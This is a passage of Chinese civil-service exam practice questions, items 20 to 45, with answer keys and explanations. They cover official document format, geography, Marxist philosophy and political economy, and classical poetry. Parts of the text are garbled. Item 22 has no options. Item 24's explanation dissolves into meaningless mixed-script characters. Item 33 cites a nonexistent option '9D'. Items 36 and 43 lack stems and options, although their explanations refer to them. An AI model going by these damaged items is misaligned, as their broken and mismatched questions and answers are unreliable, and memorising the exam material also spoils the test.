@#@同时，通过激励调动和发挥员工的积极性和创造性，引导员工去实现预定的目标。

@#@故选D。

@#@@#@　　20、判决书的正文的组成部分是（）。

@#@@#@　　A、案件事实@#@　　B、判决理由@#@　　C、合议庭成员署名@#@　　D、判决结果@#@　　【答案】ABD@#@　　【解析】合议庭成员署名不属于判决书的正文部分内容。

@#@@#@　　21、非同一系统的任何机关相互行文都使用（）。

@#@@#@　　A、上行文@#@　　B、平行文@#@　　C、越级行文@#@　　D、下行文@#@　　【答案】B@#@　　【解析】具有平行关系或其他不相隶属关系的机关之间相互主送平行文。

@#@@#@　　22、变更或撤销下级机关不适当的决定事项应使用的文种是（）。

@#@@#@　　23、以下属于公文版头的是（）。

@#@@#@　　A、发文机关标志@#@　　B、标题@#@　　C、主送机关@#@　　D、抄送机关@#@　　【答案】A@#@　　【解析】本题考查的是公文的格式。

@#@发文机关标志处于公文版头的位置；@#@标题和主送机关处于公文主体的位置；@#@抄送机关属于公文版记的部分。

@#@故本题选A。

@#@@#@　　24、下列可以缓解城市内涝的措施是（）。

@#@@#@　　A、将水泥路面改为柏油路面@#@　　B、铺设人行道路时使用透水砖@#@　　C、兴建人行天桥@#@　　D、拓宽城市道路@#@　　【答案】B@#@　　【解析】A项错误，水泥路面和柏油路面的透水性均不强，故即使将水泥路面改为柏油路面，路面仍然有积水，不能缓解城市内涝。

@#@B项正确，铺设人行道时使用透水砖，下雨时雨水可以渗透到土壤里，可以缓解城市内涝。

@#@C项错误，兴建人行天桥雨水照样流到路面上，而不能渗入地下，故不能缓解城市内涝。

@#@D项错误，拓宽城市道路，周围绿化带减少，聚集在道路上雨水增多，不但不能缓解城市内涝，还会가ከᏩ‫☵ڌ☵ڌ‬䃠ණ왈ඓ䃠@#@　　25、公文按照行为方向和行文关系可以分成上行文、平行文和下行文。

@#@下列公文可作为平行文的有（）。

@#@@#@　　A、报告@#@　　B、函@#@　　C、批复@#@　　D、知照性通知@#@　　【答案】BD@#@　　【解析】平行文，是指向同级机关以及向非同一组织系统或专业系统中不相隶属的任何级别的机关行文。

@#@如：

@#@函。

@#@知照性通知用于一些不需要直接执行或办理的事项。

@#@如节假日安排、人事任免、机构设置或调整、印章启用或更换以及召开会议等，主要起交流情况、传递信息的作用，发送对象较广泛，对下级、平级机关均可发送。

@#@@#@　　BD当选。

@#@A是上行文，C是下行文。

@#@故本题答案为BD。

@#@@#@　　26、从公文行文关系的划分来看，下列行政公文中不能作为平行文的是（）。

@#@@#@　　A、通知@#@　　B、公告@#@　　C、通报@#@　　D、纪要@#@　　【答案】B@#@　　【解析】本题考查公文。

@#@平行文：

@#@指平行机关或不相隶属的机关之间的发文，主要是函，也包括一些通知，纪要、函。

@#@下行文：

@#@指上级机关对所属下级机关的发文，如命令、指令、意见，决定、决议、布告、公告、通告、通知、通报、批复等。

@#@本题中公告属于下行文，不能用作平行文，故本题选择B选项。

@#@@#@　　27、下列诗句与其描写的传统节日对应不正确的是（）。

@#@@#@　　A、总把新桃换旧符——清明节@#@　　B、遍插茱萸少一人——重阳节@#@　　C、蓦然回首，那人却在灯火阑珊处——元宵节@#@　　D、两情若是久长时，又岂在朝朝暮暮——七夕节@#@　　【答案】A@#@　　【解析】A项出自王安石的《元日》，对应的是春节。

@#@B项出自王维的《九月九日忆山东兄弟》，重阳节有登高，插茱萸的习俗。

@#@C项出自辛弃疾的《青玉案•元夕》，描写的是元宵节。

@#@D项出自秦观的《鹊桥仙•纤云弄巧》，写的是七夕节。

@#@因此A项错误。

@#@@#@　　28、生态系统是由生物群落及其生存环境共同组成的（）。

@#@@#@　　A、静态平衡系统@#@　　B、动态平衡系统@#@　　C、平衡态平衡系统@#@　　D、固态平衡系统@#@　　【答案】B@#@　　【解析】生态系统是指在一定的空间内生物成分和非生物成分通过物质循环和能量流动相互作用、相互依存而构成的一个生态学功能单位，即由生物群落和它的无机环境相互作用而形成的动态平衡系统。

@#@故选B。

@#@@#@　　29、荀子曰：

@#@@#@　　“天有常道矣，地有常数矣。

@#@”下列选项中反映出相同哲理的是（）。

@#@@#@　　A、李杜诗篇万口传，至今已觉不新鲜@#@　　B、夕阳无限好，只是近黄昏@#@　　C、历尽天华成此景，人间万事出艰辛@#@　　D、凡物各自有根本，种禾终不生豆苗@#@　　【答案】D@#@　　【解析】@#@　　“天有常道矣，地有常数矣”反映了物质世界的发展有其自身的客观规律，不以人的意志为转移，即规律的客观性原理。

@#@D项说的是事物的生长有其自然规律，种谷子是不可能长成豆苗的，与题干体现的哲理相同。

@#@A项体现的是发展的观点。

@#@B项体现的是事物都有一个产生、发展、变化的过程。

@#@C项体现的是发展是前进性与曲折性的统一。

@#@@#@　　30、向下级机关的重要行文，应抄送（）。

@#@@#@　　A、直接上级机关@#@　　B、其他下级机关@#@　　C、同级机关@#@　　D、业务主管机关@#@　　【答案】A@#@　　【解析】向下级机关的重要行文，应当同时抄送直接上级机关。

@#@故选A。

@#@@#@　　31、山脉的延伸方向被称为走向。

@#@下列山脉中，走向与其他三项不同的是（）。

@#@@#@　　A、长白山@#@　　B、六盘山@#@　　C、横断山脉@#@　　D、贺兰山脉@#@　　【答案】A@#@　　【解析】@#@　　B、C、D三项的山脉走向相同，均为南北走向。

@#@而A项的长白山为东北─西南走向的山脉，与其他三项不同。

@#@@#@　　32、黄淮海平原的气候特征是（）。

@#@@#@　　A、降水集中且变率大@#@　　B、气温年较差小@#@　　C、秋旱多风沙@#@　　D、夏季炎热干燥@#@　　【答案】A@#@　　【解析】黄淮海平原属温带大陆性季风气候，降水集中于夏季且变率大，气温年较差大，夏季高温多雨，春旱多风沙。

@#@@#@　　33、随着科学技术的发展，人类已经制造出诸如醋酸纤维、聚苯乙烯、合成橡胶等自然界原本不存在的化合物，其数量已达数百万种。

@#@这一情况说明（）。

@#@@#@　　A、物质世界是人类所创造的@#@　　B、人类通过实践将“自在之物”转化为“为我之物”@#@　　C、物质世界依赖于人的意识而存在@#@　　D、人造物质可以脱离天然物质而存在@#@　　【答案】B@#@　　【解析】人类创造出自然界本来不存在的东西，说明人类可以改造物质世界，但是这并不意味着物质世界是人类创造的，人类是在自然界已有物质基础上对自然界进行的改造，人造物质不能脱离天然物质而存在，故@#@　　A、9D选项错误，另外，物质决定意识，意识具有能动的反作用，故C选项错误。

@#@故本题答案为B。

@#@@#@　　34、在文件拟稿中，如果要引用某份公文，应当（）。

@#@@#@　　A、仅引发文字号@#@　　B、先引发文字号后引文件标题@#@　　C、仅引文件标题@#@　　D、先引文件标题后引文件发文字号@#@　　【答案】D@#@　　【解析】在文件拟稿中，如果要引用某份公文，应当先引标题，后引发文字号。

@#@故选D。

@#@@#@　　35、认为“人们在创造历史的活动中，谋事在人，成事在天”，这一观点是（）。

@#@@#@　　A、揭示了人的能动性的发挥受规律的制约的正确观点@#@　　B、否认了社会规律的客观性的错误观点@#@　　C、强调了客观规律下的主体具有能动性的正确观点@#@　　D、否认了人的主体自觉能动性的错误观点@#@　　【答案】B@#@　　【解析】认为历史活动中“谋事在人”，就是承认社会发展过程的客观规律是通过人的自觉活动得以实现的，承认人的能动作用，这是正确的。

@#@但“成事在天”即把办成事情的原因、决定因素归结为外在于人的天意，认为历史活动的成败完全由客观必然性或某种超自然力量所决定的，这是错误的，因为它否认了人的努力在事情成败中的作用，同时也否认了社会规律的客观性，从而陷入了唯心史观和宿命论。

@#@故选B。

@#@@#@　　36、下列四组地名中，按所在经度由东向西依次排列的是（）。

@#@B项中位于东海的普陀山最东，位于秦岭的华山最西，江西庐山东北面是安徽的九华山，排序错误。

@#@C项云南昆明的滇池最西，江苏、山东交界处的洪泽湖最东，但湖南洞庭湖位于江西鄱阳湖之西，排序错误。

@#@D项中洛阳的龙门石窟位于西安大雁塔的东面，排序也是错误的。

@#@故选A。

@#@@#@　　37、公务员职业道德的根本价值取向是（）。

@#@@#@　　A、提高工作效率@#@　　B、提升道德境界@#@　　C、维护社会公正@#@　　D、培育高尚人格@#@　　【答案】C@#@　　【解析】公务职业道德的根本价值取向是维护社会公正。

@#@故选C。

@#@@#@　　38、下列边境口岸与所在省区组合正确的是（）。

@#@@#@　　A、黑河——吉林省@#@　　B、丹东——黑龙江省@#@　　C、绥芬河——辽宁省@#@　　D、满洲里——内蒙古自治区@#@　　【答案】D@#@　　【解析】黑河位于黑龙江省,丹东属辽宁省,绥芬河位于黑龙江省,满洲里在内蒙古自治区。

@#@故选D。

@#@@#@　　39、社会意识的相对独立性突出地表现在（）。

@#@@#@　　A、社会意识可以超前于社会存在@#@　　B、社会意识对社会存在有反作用@#@　　C、社会意识反映社会存在@#@　　D、社会意识诸形式之间的相互影响@#@　　【答案】B@#@　　【解析】社会意识的相对独立性表现在：

@#@@#@　　

（1）社会意识的变化发展和社会存在的变化发展的非完全同步性；@#@@#@　　

（2）社会意识和社会经济之间在发展上的不平衡性；@#@@#@　　（3）社会意识的发展具有历史继承性；@#@@#@　　（4）社会意识诸形式间的相互影响和相互作用；@#@@#@　　（5）社会意识对社会存在具有反作用，是社会意识相对独立性的突出表现。

@#@故选B。

@#@@#@　　40、把生产资本分为不变资本和可变资本的依据是（）。

@#@@#@　　A、在生产过程中不同的实物存在形式和价值转变方式@#@　　B、在剩余价值生产中的作用不同@#@　　C、在资本积累中的作用不同@#@　　D、在资本流通中的周转速度不同@#@　　【答案】B@#@　　【解析】不变资本和可变资本的区分依据是根据资本在剩余价值生产中的作用不同而划分的。

@#@可变资本是指资本家用于购买劳动力的那一部分资本。

@#@劳动力在使用过程中，不仅能够创造补偿劳动力价值的价值，而且能创造出剩余价值，是资本增值。

@#@不变资本是指在剩余价值生产过程中转变为生产资料的那一部分资本，经过生产过程，它的价值会随物质形态的改变，转移到新产品中去，没有发生任何价值量的变化，价值不会增值。

@#@故选B。

@#@@#@　　41、公文的作者是指（）。

@#@@#@　　A、撰稿人@#@　　B、审核人@#@　　C、签发人@#@　　D、发文机关@#@　　【答案】D@#@　　【解析】发文机关就是制发公文的机关，一般将公文的发文机关作为公文的作者。

@#@故选D。

@#@@#@　　42、下列各项属于公文主体部分的是（）。

@#@@#@　　A、标题@#@　　B、附件说明@#@　　C、公文生效标识@#@　　D、主题词@#@　　【答案】ABC@#@　　【解析】主体部分包括:

@#@标题、主送机关、正文、附件说明、成文时间、公文生效标识、附注。

@#@主题词属于版记部分。

@#@@#@　　43、公文的正文逻辑结构可分三部分，（）是正文的中心部分。

@#@提出问题——分析问题——解决问题。

@#@三部分中分析问题是公文最重要的部分，是公文的重点。

@#@故选A。

@#@@#@　　44、公文应在（）装订。

@#@@#@　　A、左侧@#@　　B、右侧@#@　　C、上面白边区@#@　　D、下面白边区@#@　　【答案】A@#@　　【解析】公文应在左侧装订。

@#@@#@　　45、今年如火如荼举办的农民丰收节上，各地农村结合自身优势，各显神通，通过多渠道、多样化的举办方式，打开农村的大门，帮助自身发展更上一层楼。

@#@各地结合自身优势，分析自身问题，解决发展问题体现了（）哲学道理。

@#@@#@　　A、量变产生质变@#@　　B、矛盾的斗争性@#@　　C、矛盾的特殊性@#@　　D、矛盾的不平衡性@#@　　【答案】C@#@　　【解析】结合自身问题运用不同方式解决问题，体现了矛盾的特殊性要求的具体问题具体分析。

@#@故选C。

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